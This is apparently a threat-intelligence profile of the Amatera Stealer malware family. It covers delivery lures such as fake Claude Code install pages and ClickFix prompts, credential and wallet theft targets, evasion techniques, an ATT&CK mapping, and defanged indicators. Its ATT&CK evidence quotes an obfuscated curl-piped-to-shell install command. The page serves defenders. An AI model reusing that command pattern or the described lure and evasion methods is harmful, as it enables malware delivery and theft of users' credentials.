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MalwareUsed by 1 actor

Amatera Stealer

Also known asamatera

Amatera Stealer is a commodity information-stealing malware family and Malware-as-a-Service offering, also referred to as Amatera, and described in the provided reporting as a rebranded version of ACR (AcridRain) Stealer. It has been linked to the threat actor SheldIO and is positioned in reporting as a successor or replacement to Lumma Stealer. The malware has been observed in multiple 2026 delivery campaigns targeting Windows and, in some reporting, broader cross-platform developer-focused lures tied to fake software installation pages.

Observed delivery vectors include ClickFix and InstallFix-style social engineering, fake CAPTCHA or human-verification prompts, Google Ads malvertising, cloned Claude Code installation pages, phishing, fake software downloads, cracked software lures, Discord-delivered verification pages, and multi-stage loader chains involving MSHTA. Reporting also describes delivery through CountLoader, Emmenhtal Loader, and abuse of the signed Microsoft App-V script SyncAppvPublishingServer.vbs. In Windows-focused chains, victims are tricked into copying and executing malicious commands via the Run dialog or terminal-like install instructions, after which mshta.exe, PowerShell, HTA/VBScript, or in-memory shellcode loaders are used to retrieve and execute Amatera.

Capabilities directly described in the content include theft of browser-stored credentials, cookies, session tokens, browser data, crypto-wallet information, wallet browser extensions, desktop cryptocurrency wallets, Discord data, Signal data, password manager files, system information, and files from user directories including Downloads. One report states the malware expanded harvesting to 65 browser targets, 165 wallet browser extensions, and 137 desktop wallet targets, and that its file grabber searches for wallet exports, seed phrases, private keys, passwords, JSON, TXT, PDF, KDBX, and wallet-related files. Additional reporting states it targets information from the user folder and similar victim data to LummaStealer.

Behavior and technical characteristics described in the content include in-memory execution via reflective loaders and shellcode, string encryption using XTEA, syscall resolution and hook evasion using RecycledGate/FreshyCalls-style techniques, anti-debugging, anti-analysis checks, and geofencing behavior that exits on Ukrainian keyboard layouts or when certain Kaspersky driver files are detected. One eSentire report states the malware changed C2 protection from AES-256-CBC with a hard-coded key to ECDH over NIST P-256 followed by ChaCha20-Poly1305, initiates C2 with HTTP POST requests to the root path, and uses the X-Request-ID header during session establishment. Other reporting states Amatera communications may be routed through legitimate CDN infrastructure, and one campaign used Cloudflare-fronted infrastructure with payload gating based on a curl/ User-Agent substring.

Associated targeting in the provided content includes a finance-industry customer environment observed by eSentire, enterprise-managed Windows environments implied by App-V-dependent delivery, and developers or users searching for AI tooling such as Anthropic Claude Code. The broader lure ecosystem includes AI tool impersonation and shadow-AI usage scenarios.

High-confidence indicators mentioned in the content include the remote server 144.124.235.102; initial dropper URL hxxps://download.version-516[.]com/other; second-stage domain oakenfjrod.ru; C2 indicators 77.91.97.244 and compactedtightness.cfd; Windows infection URL hxxps://claude[.]update-version[.]com/claude; campaign infrastructure contatoplus[.]com; and PNG/payload delivery domains such as gcdnb.pbrd[.]co and iili[.]io. Sample hashes explicitly provided include shellcode loader SHA-256 e913fa5b2dd0a7fc3dbaf0a6f882b3ead9a58511bd945b6e5c478cbd2b900508 and unpacked Amatera sample SHA-256 ec1206989449d30746b5ceb2b297cda9f3f09636a0e122ecafb40b1dc2e86772.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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SheldIO

In late April 2026, eSentire's Threat Response Unit (TRU) intercepted an attempted delivery of Amatera Stealer within a customer environment in the Finance industry. Amatera Stealer is a rebranded version of ACR (AcridRain) Stealer, a C++ based information stealer previously marketed as Malware-as-a-Service (MaaS) on underground forums by the threat actor SheldIO.

via esentire blogesentire.com
MITRE ATT&CK

Techniques & procedures

35 distinct techniques documented for this family, organized by ATT&CK tactic.

T1583.006Web ServicesEvidence1

Sponsored results direct victims to lure pages hosted on trusted platforms -- Squarespace, Cloudflare Pages, and Tencent EdgeOne -- that mirror the official Claude Code documentation.

T1608.005Link TargetEvidence1

This is a pure malvertising play. No email vector, no phishing links. The attack surface is the search engine results page itself.

Execution

8 techniques
T1059Command and Scripting InterpreterEvidence2
TacticExecution

Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts that quietly launch the attack in the background.

T1059.001PowerShellEvidence2
TacticExecution

Based on Bitdefender's analysis, MSHTA is used as an intermediary step in multi-stage PowerShell attacks before the retrieval of malicious payloads is complete, with attackers executing scripts directly in memory to evade security controls.

T1059.004Unix ShellEvidence1
TacticExecution

The lure page presents what appears to be a standard curl | sh install command... curl -ksfLS $( echo '...' | base64 -D)| zsh

T1059.005Visual BasicEvidence1
TacticExecution

Layer 2 HTA/VBScript 1,476,332 bytes, 531 lines, 6 polymorphic blocks, 100+ XOR stubs

T1106Native APIEvidence2
TacticExecution

Amatera employs RecycledGate ... a SysCall number (SSN) resolution technique that combines elements of the FreshyCalls and Hell's Gate techniques. | For each resolved SSN, there is a wrapper function that issues the SysCall.

T1204User ExecutionEvidence2
TacticExecution

The infection starts when a victim downloads what appears to be free or cracked software... When a user visits one of these pages, JavaScript secretly copies a malicious command to the clipboard and instructs them to press Win + R, paste it, and hit Enter.

T1204.001Malicious LinkEvidence1
TacticExecution

Victims who copy the displayed install command unknowingly execute a multi-stage loader that delivers Amatera Stealer.

T1204.002Malicious FileEvidence2
TacticExecution

The infection starts when a victim downloads what appears to be free or cracked software. Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts that quietly launch the attack in the background.

Persistence

1 technique
T1547.001Registry Run Keys / Startup FolderEvidence1

Windows Persistence Registry Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run with names mimicking Microsoft services

T1055Process InjectionEvidence1

the reflective injection process begins by mapping the payload's sections into a newly allocated PAGE_READWRITE buffer

T1547.001Registry Run Keys / Startup FolderEvidence1

Windows Persistence Registry Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run with names mimicking Microsoft services

Stealth

11 techniques
T1027Obfuscated Files or InformationEvidence2
TacticStealth

String encryption uses XTEA ... SysCall SSNs ... stored XOR-encoded ... Control-flow flattening / indirect control-flow obfuscation has been observed

T1027.005Indicator Removal from ToolsEvidence1
TacticStealth

If configured to do so ... overwriting 0x400 (1024) bytes at the payload's base address with null (0x00) bytes, effectively erasing the payload's PE headers from memory.

T1036MasqueradingEvidence1
TacticStealth

Inside the archive is a file called Setup.exe, which is actually a legitimate Python interpreter bundled with malicious scripts... it uses a renamed MSHTA copy disguised as iso2022.exe

T1036.005Match Legitimate Resource Name or LocationEvidence1
TacticStealth

The vast majority of detections for mshta.exe come from instances where the command line contains domains that appear to be legitimate services but are hosted on the .cc TLD... Starting in late February 2026... shifted to .vg and .gl TLDs.

T1055Process InjectionEvidence1

the reflective injection process begins by mapping the payload's sections into a newly allocated PAGE_READWRITE buffer

T1140Deobfuscate/Decode Files or InformationEvidence2
TacticStealth

It uses a 128-byte XOR key to first decrypt the encrypted payload blob, then aPLib to decompress it.

T1218.005MshtaEvidence6
TacticStealth

The tool is MSHTA, short for Microsoft HTML Application Host, a built-in Windows utility that can run scripts from local files and remote internet locations... Attackers have been using it to deliver some of today’s most harmful malware... All use MSHTA as a stepping stone during early or middle stages of infection.

T1497Virtualization/Sandbox EvasionEvidence2

The table below summarizes Amatera Stealer's checks designed to evade sandboxes.

T1497.001System ChecksEvidence1

Checks for the presence of Kaspersky driver files ... Checks the active keyboard layout ... Checks if there are less than 5 installed programs ... less than 6 running processes.

T1620Reflective Code LoadingEvidence1
TacticStealth

Functions as a reflective loader [ T1620 ] that decrypts, decompresses, and transfers execution to a DLL or EXE payload.

T1622Debugger EvasionEvidence1

Anti-debug functionality is common throughout the malware ... If so, the process exits via NtTerminateProcess SysCall.

Credential Access

4 techniques
T1539Steal Web Session CookieEvidence1

Exfiltration Targets Browser credentials, cookies, and session tokens

T1555Credentials from Password StoresEvidence1

Password manager file globs broadened for Bitwarden, 1Password, RoboForm, and NordPass

T1555.003Credentials from Web BrowsersEvidence1

The decoded bash script contains the actual stealing logic: browser credential harvesting... Exfiltration Targets Browser credentials, cookies, and session tokens

T1649Steal or Forge Authentication CertificatesEvidence2

The final payload is most often LummaStealer, designed to harvest browser credentials, session cookies, and cryptocurrency wallet data. Amatera, another stealer in the same chain, targets similar data.

Discovery

7 techniques
T1057Process DiscoveryEvidence1
TacticDiscovery

Checks if there are less than 6 running processes ... enumerate running processes and compares each process name

T1083File and Directory DiscoveryEvidence1
TacticDiscovery

File grabber updated to search the victim's Downloads directory; pattern lists nearly doubled

T1497Virtualization/Sandbox EvasionEvidence2

The table below summarizes Amatera Stealer's checks designed to evade sandboxes.

T1497.001System ChecksEvidence1

Checks for the presence of Kaspersky driver files ... Checks the active keyboard layout ... Checks if there are less than 5 installed programs ... less than 6 running processes.

T1518Software DiscoveryEvidence1
TacticDiscovery

Checks if there are less than 5 installed programs by enumerating the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

T1614.001System Language DiscoveryEvidence1
TacticDiscovery

Checks the active keyboard layout via GetKeyboardLayout, if Ukrainian, the malware exits.

T1622Debugger EvasionEvidence1

Anti-debug functionality is common throughout the malware ... If so, the process exits via NtTerminateProcess SysCall.

Collection

1 technique
T1560Archive Collected DataEvidence1

Decrypting further communication with the C2 reveals ... zip archives with exfiltrated data.

T1071Application Layer ProtocolEvidence1

the client initiates a session by sending an HTTP POST to the C2's root path (/)

T1105Ingress Tool TransferEvidence2

As the Python script runs, it uses a renamed MSHTA copy disguised as iso2022.exe to connect to attacker servers and fetch the next-stage payload... That single action triggers MSHTA to fetch a remote script that runs entirely in memory.

T1573Encrypted ChannelEvidence1

C2 communications now use an ECDH (NIST P-256) key exchange with ChaCha20-Poly1305

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence1

All subsequent communications to and from the C2 use the Authenticated Encryption with Associated Data (AEAD) algorithm ChaCha20-Poly1305

INDICATORS OF COMPROMISE

IOCs tracked for this family

59 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
32 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
20 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
7 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
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domain●●●●●●●●●●●●View more in app16 days ago
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domain●●●●●●●●●●●●View more in app23 days ago
hash.sha256●●●●●●●●●●●●View more in app23 days ago
What this page doesn’t show

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IOC matching59

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping35

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.